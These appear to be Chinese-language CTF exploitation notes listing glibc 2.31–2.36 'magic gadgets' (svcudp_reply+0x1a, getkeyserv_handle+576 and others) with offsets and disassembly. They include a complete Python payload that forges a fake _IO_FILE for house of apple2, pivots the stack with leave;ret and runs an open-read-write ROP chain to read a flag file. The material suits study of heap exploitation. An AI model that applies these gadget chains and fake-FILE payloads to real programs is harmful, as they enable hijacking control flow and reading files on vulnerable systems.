magic gadgets

libc2.36

  • 此时的rax正好指向FAKE_IO头部
.text:0000000000160E56                 mov     rdx, [rax+38h]
.text:0000000000160E5A                 mov     rdi, rax
.text:0000000000160E5D                 call    qword ptr [rdx+20h]
  • 也就是svcudp_reply+0x1a
.text:00000000001630AA                 mov     rbp, [rdi+48h]
.text:00000000001630AE                 mov     rax, [rbp+18h]
.text:00000000001630B2                 lea     r13, [rbp+10h]
.text:00000000001630B6                 mov     dword ptr [rbp+10h], 0
.text:00000000001630BD                 mov     rdi, r13
.text:00000000001630C0                 call    qword ptr [rax+28h]

ROPgadget --binary libc.so.6  | grep 'mov rdi, r13'
0x00000000001587b3 : mov rdi, r13 ; call qword ptr [rax + 0x10]
0x000000000008975f : mov rdi, r13 ; call qword ptr [rax + 0x18]
0x000000000015760c : mov rdi, r13 ; call qword ptr [rax + 0x20]
0x00000000001630bd : mov rdi, r13 ; call qword ptr [rax + 0x28]

libc2.35(house of apple2)

参考博客 libc2.35 3.6 0x16A06A libc2.35 3_ 在上述偏移上下找就行 gadget=licbase+0x16A1FA magic_gadget = libc_base + libc.sym[“svcudp_reply”] + 0x1a

   0x7ffff7f092ba <svcudp_reply+26>    mov    rbp, qword ptr [rdi + 0x48]
   0x7ffff7f092be <svcudp_reply+30>    mov    rax, qword ptr [rbp + 0x18]
   0x7ffff7f092c2 <svcudp_reply+34>    lea    r13, [rbp + 0x10]
   0x7ffff7f092c6 <svcudp_reply+38>    mov    dword ptr [rbp + 0x10], 0     
   0x7ffff7f092cd <svcudp_reply+45>    mov    rdi, r13
   0x7ffff7f092d0 <svcudp_reply+48>    call   qword ptr [rax + 0x28]
  • 具体做法
fake_IO_addr =
magic_gadget = libc_base + libc.sym["svcudp_reply"] + 0x1a

leave_ret = libc_base + 0x0000000000052d72 #: leave ; ret
pop_rdi_ret = libc_base + 0x000000000002daa2 #: pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000037c0a #: pop rsi ; ret
pop_rdx_r12_ret = libc_base + 0x00000000001066e1 #: pop rdx ; pop r12 ; ret
rop_address = fake_IO_addr + 0xe0 + 0xe8 + 0x70

#read(0, (void *)ptr[num], 0xAA0uLL)直接向_IO_2_1_stderr_写入数据,同时伪造A,B,C三个fake file
orw_rop =  b'./flag\x00\x00'
orw_rop += p64(pop_rdx_r12_ret) + p64(0) + p64(fake_IO_addr - 0x10)
orw_rop += p64(pop_rdi_ret) + p64(rop_address)
orw_rop += p64(pop_rsi_ret) + p64(0)
orw_rop += p64(libc_base + libc.sym['open'])
orw_rop += p64(pop_rdi_ret) + p64(3)
orw_rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
orw_rop += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw_rop += p64(libc_base + libc.sym['read'])
orw_rop += p64(pop_rdi_ret) + p64(1)
orw_rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
orw_rop += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw_rop += p64(libc_base + libc.sym['write'])

                    
payload = p64(0) + p64(leave_ret) + p64(1) + p64(2) #这样设置同时满足assert和fsop
payload = payload.ljust(0x38, b'\x00') + p64(rop_address) #FAKE FILE+0x48
payload = payload.ljust(0x90, b'\x00') + p64(fake_IO_addr + 0xe0) #_wide_data=fake_IO_addr + 0xe0
payload = payload.ljust(0xc8, b'\x00') + p64(libc_base + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps
#*(A+0Xe0)=B   _wide_data->_wide_vtable=fake_IO_addr + 0xe0 + 0xe8
payload = payload.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_IO_addr + 0xe0 + 0xe8)
#*(B+0X68)=C=magic_gadget
payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(magic_gadget)
payload = payload + orw_rop
  • 过程描述
  1. rdi= A,rbp=rop_addr
  2. rax=A-0x10
  3. call [rax+0x28]等价于call leave;ret
  4. leave:mov rsp,rbp; pop rbp 此时rsp=rop_addr再ret执行rop

libc2.34(house of emma)

libc2.34,在libc2.35就没了这个gadget gadget_addr = libc_base + 0x146020 各个libc相差一般也不会太远,就在附近找就行 可以设置rdx的值然后setcontent+61来进行orw

mov rdx, qword ptr [rdi + 8]; 
mov qword ptr [rsp], rax; 
call qword ptr [rdx + 0x20];

libc2.31

  • libc2.31利用 getkeyserv_handle+576
mov     rdx, [rdi+8]
mov     [rsp+0C8h+var_C8], rax
call    qword ptr [rdx+20h]